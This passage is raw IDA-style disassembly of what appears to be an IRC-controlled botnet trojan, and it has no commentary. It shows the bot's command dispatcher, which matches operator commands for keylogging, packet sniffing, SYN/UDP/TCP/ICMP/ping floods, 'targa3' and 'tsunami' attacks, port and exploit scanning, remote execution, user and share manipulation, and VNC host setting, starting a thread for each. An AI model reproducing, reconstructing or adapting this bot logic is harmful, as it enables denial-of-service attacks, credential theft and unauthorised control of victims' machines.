		push	offset dword_42B620
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C67:				; CODE XREF: sub_401ACD+40A8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	20h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C95
		push	eax
		push	offset dword_42B5E4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C95:				; CODE XREF: sub_401ACD+41BBj
		push	offset dword_42B5B8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405C9F:				; CODE XREF: sub_401ACD+4093j
		push	[ebp+arg_8]
		push	offset aSniffer	; "sniffer"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DEF
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DB7
		push	21h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405CE1
		push	offset unk_42B590
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405CE1:				; CODE XREF: sub_401ACD+4208j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E40], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E3C], eax
		jnz	short loc_405D23
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D23
		mov	esi, [ebp+var_88]


loc_405D23:				; CODE XREF: sub_401ACD+4238j
					; sub_401ACD+424Ej
		push	esi
		lea	eax, [ebp+var_EC4]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B564
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_E44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC8]
		push	ebx
		push	eax
		push	offset sub_4131EC
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_E44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_405DA6


loc_405D90:				; CODE XREF: sub_401ACD+42D7j
		cmp	[ebp+var_E38], ebx
		jnz	loc_4081AD
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_405D90
; ---------------------------------------------------------------------------


loc_405DA6:				; CODE XREF: sub_401ACD+42C1j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B528
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DB7:				; CODE XREF: sub_401ACD+41F8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	21h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DE5
		push	eax
		push	offset unk_42B4EC
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DE5:				; CODE XREF: sub_401ACD+430Bj
		push	offset unk_42B4C0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405DEF:				; CODE XREF: sub_401ACD+41E3j
		push	[ebp+arg_8]
		push	offset aIdent	; "ident"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EC2
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E8A
		push	2
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405E2D
		push	offset dword_42B498
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405E2D:				; CODE XREF: sub_401ACD+4354j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B46C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410BFD
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	loc_4081AD
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B438
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405E8A:				; CODE XREF: sub_401ACD+4348j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	2
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405EB8
		push	eax
		push	offset dword_42B400
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405EB8:				; CODE XREF: sub_401ACD+43DEj
		push	offset dword_42B3E0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405EC2:				; CODE XREF: sub_401ACD+4333j
		push	[ebp+arg_8]
		push	offset aKeyloger ; "keyloger"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aKeylog	; "keylog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aNet	; "net"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40616D
		cmp	dword_4CBAA4, ebx
		jz	short loc_405F4F
		cmp	dword_4CBACC, ebx
		jz	short loc_405F4F
		push	offset unk_42B388
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405F4F:				; CODE XREF: sub_401ACD+446Ej
					; sub_401ACD+4476j
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		mov	eax, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_405F77
		push	eax
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_405F77:				; CODE XREF: sub_401ACD+449Aj
		push	edi
		push	offset aStart	; "start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FC3
		cmp	[ebp+arg_18], ebx
		jz	short loc_405F97
		push	[ebp+arg_0]
		push	3
		jmp	loc_406021
; ---------------------------------------------------------------------------


loc_405F97:				; CODE XREF: sub_401ACD+44BEj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418EA8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405FB9
		push	offset unk_42B35C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FB9:				; CODE XREF: sub_401ACD+44E0j
		push	offset unk_42B33C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FC3:				; CODE XREF: sub_401ACD+44B9j
		push	edi
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FDB
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FDB:				; CODE XREF: sub_401ACD+4505j
		push	edi
		push	offset aPause	; "pause"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FF3
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FF3:				; CODE XREF: sub_401ACD+451Dj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40600B
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_40600B:				; CODE XREF: sub_401ACD+4535j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406033
		push	[ebp+arg_0]
		push	1


loc_406021:				; CODE XREF: sub_401ACD+44C5j
					; sub_401ACD+450Cj ...
		call	sub_418C0E
		pop	ecx
		pop	ecx


loc_406028:				; CODE XREF: sub_401ACD+459Fj
					; sub_401ACD+4628j ...
		push	eax
		push	offset aS_2	; "%s"
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_406033:				; CODE XREF: sub_401ACD+454Dj
		push	edi
		push	offset aShare	; "share"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40609B
		cmp	[ebp+arg_18], ebx
		jz	short loc_40606E
		cmp	[ebp+var_8FC], bl
		jz	short loc_406059
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_406064
; ---------------------------------------------------------------------------


loc_406059:				; CODE XREF: sub_401ACD+4582j
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	ebx


loc_406064:				; CODE XREF: sub_401ACD+458Aj
		call	sub_418FE5
		add	esp, 0Ch
		jmp	short loc_406028
; ---------------------------------------------------------------------------


loc_40606E:				; CODE XREF: sub_401ACD+457Aj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4191DB
		add	esp, 10h
		test	eax, eax
		jz	short loc_406091
		push	offset unk_42B2FC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406091:				; CODE XREF: sub_401ACD+45B8j
		push	offset unk_42B2DC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40609B:				; CODE XREF: sub_401ACD+4575j
		push	edi
		push	offset aUser	; "user"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406127
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4060FA
		cmp	[ebp+var_8FC], bl
		jz	short loc_4060CD
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060CD:				; CODE XREF: sub_401ACD+45ECj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4060E9
		push	esi
		push	eax
		push	ebx
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060E9:				; CODE XREF: sub_401ACD+4615j
		push	ebx
		push	eax
		push	2


loc_4060ED:				; CODE XREF: sub_401ACD+45FEj
					; sub_401ACD+461Aj
		call	sub_4192FC
		add	esp, 18h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_4060FA:				; CODE XREF: sub_401ACD+45E4j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41982C
		add	esp, 10h
		test	eax, eax
		jz	short loc_40611D
		push	offset unk_42B2BC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40611D:				; CODE XREF: sub_401ACD+4644j
		push	offset unk_42B29C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406127:				; CODE XREF: sub_401ACD+45DDj
		push	edi
		push	offset aSend	; "send"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406163
		cmp	[ebp+arg_18], ebx
		jz	short loc_406159
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419AE0
		add	esp, 10h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_406159:				; CODE XREF: sub_401ACD+466Ej
		push	offset unk_42B270
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406163:				; CODE XREF: sub_401ACD+4669j
		push	offset unk_42B254
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40616D:				; CODE XREF: sub_401ACD+4462j
		push	[ebp+arg_8]
		push	offset aGethost	; "gethost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D
		push	[ebp+arg_8]
		push	offset aGh	; "gh"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D


loc_40619B:				; CODE XREF: sub_401ACD+3C8Fj
					; sub_401ACD+3CC5j ...
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset dword_42B938
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4066AE
		push	7Fh
		lea	eax, [ebp+var_3280]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3200]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3180]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3100]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3078],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_307C],	edi
		mov	[ebp+var_3284],	esi
		call	sub_40B3BA
		add	esp, 3Ch
		mov	[ebp+var_3080],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3284]
		push	ebx
		push	eax
		push	offset sub_41525A
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_3080]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40669D


loc_406687:				; CODE XREF: sub_401ACD+4BCEj
		cmp	[ebp+var_3074],	ebx
		jnz	loc_403D46
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_406687
; ---------------------------------------------------------------------------


loc_40669D:				; CODE XREF: sub_401ACD+4BB8j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B0E0
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_4066AE:				; CODE XREF: sub_401ACD+4B0Ej
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067DB
		push	7Fh
		lea	eax, [ebp+var_36A8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3628]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_35A8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3528]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A4],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_34A0],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_36AC],	esi
		push	edi
		push	offset dword_42B098
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_34A8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36AC]
		push	ebx
		push	eax
		push	offset sub_4141B2
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_34A8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4067CA


loc_4067B4:				; CODE XREF: sub_401ACD+4CFBj
		cmp	[ebp+var_349C],	ebx
		jnz	loc_407196
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_4067B4
; ---------------------------------------------------------------------------


loc_4067CA:				; CODE XREF: sub_401ACD+4CE5j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B05C
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_4067DB:				; CODE XREF: sub_401ACD+4C20j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aAd	; "ad"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aVnchost	; "vnchost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406A5A
		push	edi
		call	sub_41B52C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		jmp	loc_4040AB
; ---------------------------------------------------------------------------


loc_406A5A:				; CODE XREF: sub_401ACD+4F56j
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406C36
		lea	eax, [ebp+var_46F0]
		push	edi
		push	eax
		call	sub_41C890
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_438C]
		push	eax
		call	sub_41C890
		push	[ebp+arg_10]
		lea	eax, [ebp+var_458C]
		push	eax
		call	sub_41C890
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	[ebp+esi+var_7C]
		call	sub_41843B
		push	eax
